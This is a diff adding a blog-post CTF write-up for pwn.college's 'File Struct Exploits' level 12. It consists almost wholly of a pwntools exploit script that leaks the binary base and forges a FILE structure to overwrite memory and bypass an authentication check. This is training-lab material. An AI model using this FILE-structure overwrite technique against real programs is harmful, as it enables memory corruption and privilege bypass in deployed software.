|
| 1 | +--- |
| 2 | +layout: post |
| 3 | +title: (File Struct Exploits) level 12 |
| 4 | +categories: pwn.college File-Struct-Exploits |
| 5 | +date: 2025-11-13 09:02:27 +0300 |
| 6 | +tags: pwn.college FSOP fp-overwrite |
| 7 | +--- |
| 8 | +## Information |
| 9 | +- category: pwn |
| 10 | + |
| 11 | + |
| 12 | +## Description |
| 13 | +> Apply FILE struct exploits to write data to bypass a security check. |
| 14 | +
|
| 15 | +## Exploit |
| 16 | + |
| 17 | +```python |
| 18 | +#!/usr/bin/env python3 |
| 19 | + |
| 20 | +from pwn import * |
| 21 | + |
| 22 | +exe = ELF("./babyfile_level12_patched") |
| 23 | +context.terminal = "kitty" |
| 24 | +context.binary = exe |
| 25 | + |
| 26 | + |
| 27 | +def conn(): |
| 28 | + if args.LOCAL: |
| 29 | + global p |
| 30 | + p = process([exe.path]) |
| 31 | + gdb.attach(p) |
| 32 | + else: |
| 33 | + r = remote("addr", 1337) |
| 34 | + return p |
| 35 | + |
| 36 | + |
| 37 | +def new_note(idx, size): |
| 38 | + p.sendlineafter(b"> ", b"new_note") |
| 39 | + p.sendlineafter(b"> ", idx) |
| 40 | + p.sendlineafter(b"> ", size) |
| 41 | + |
| 42 | + |
| 43 | +def del_note(): |
| 44 | + p.sendlineafter(b"> ", b"del_note") |
| 45 | + |
| 46 | + |
| 47 | +def write_note(idx, data): |
| 48 | + p.sendlineafter(b"> ", b"write_note") |
| 49 | + p.sendlineafter(b"> ", idx) |
| 50 | + p.send(data) |
| 51 | + |
| 52 | + |
| 53 | +def read_note(idx, data): |
| 54 | + p.sendlineafter(b"> ", b"read_note") |
| 55 | + p.sendlineafter(b"> ", idx) |
| 56 | + p.send(data) |
| 57 | + |
| 58 | + |
| 59 | +def open_file(): |
| 60 | + p.sendlineafter(b"> ", b"open_file") |
| 61 | + |
| 62 | + |
| 63 | +def read_file(idx): |
| 64 | + p.sendlineafter(b"> ", b"read_file") |
| 65 | + p.sendlineafter(b"> ", idx) |
| 66 | + |
| 67 | + |
| 68 | +def write_fp(data): |
| 69 | + p.sendlineafter(b"> ", b"write_fp") |
| 70 | + p.send(data) |
| 71 | + |
| 72 | + |
| 73 | +def authenticated(): |
| 74 | + p.sendlineafter(b"> ", b"authenticate") |
| 75 | + |
| 76 | + |
| 77 | +def quit(): |
| 78 | + p.sendlineafter(b"> ", b"quit") |
| 79 | + |
| 80 | + |
| 81 | +def main(): |
| 82 | + r = conn() |
| 83 | + |
| 84 | + r.recvuntil(b"located at: ") |
| 85 | + baself = int(r.recvline()[:-1], 16) - exe.sym["main"] |
| 86 | + authenticate = baself + 0x5170 |
| 87 | + |
| 88 | + new_note(b"0", b"4") |
| 89 | + write_note(b"0", b"AAA") |
| 90 | + # read_note(b"0", b"AAA") |
| 91 | + open_file() |
| 92 | + fp = FileStructure() |
| 93 | + fp = fp.read(authenticate, 10) |
| 94 | + raw_input("DEBUG") |
| 95 | + write_fp(bytes(fp)) |
| 96 | + |
| 97 | + read_file(b"0") |
| 98 | + |
| 99 | + r.interactive() |
| 100 | + |
| 101 | + |
| 102 | +if __name__ == "__main__": |
| 103 | + main() |
| 104 | +``` |
0 commit comments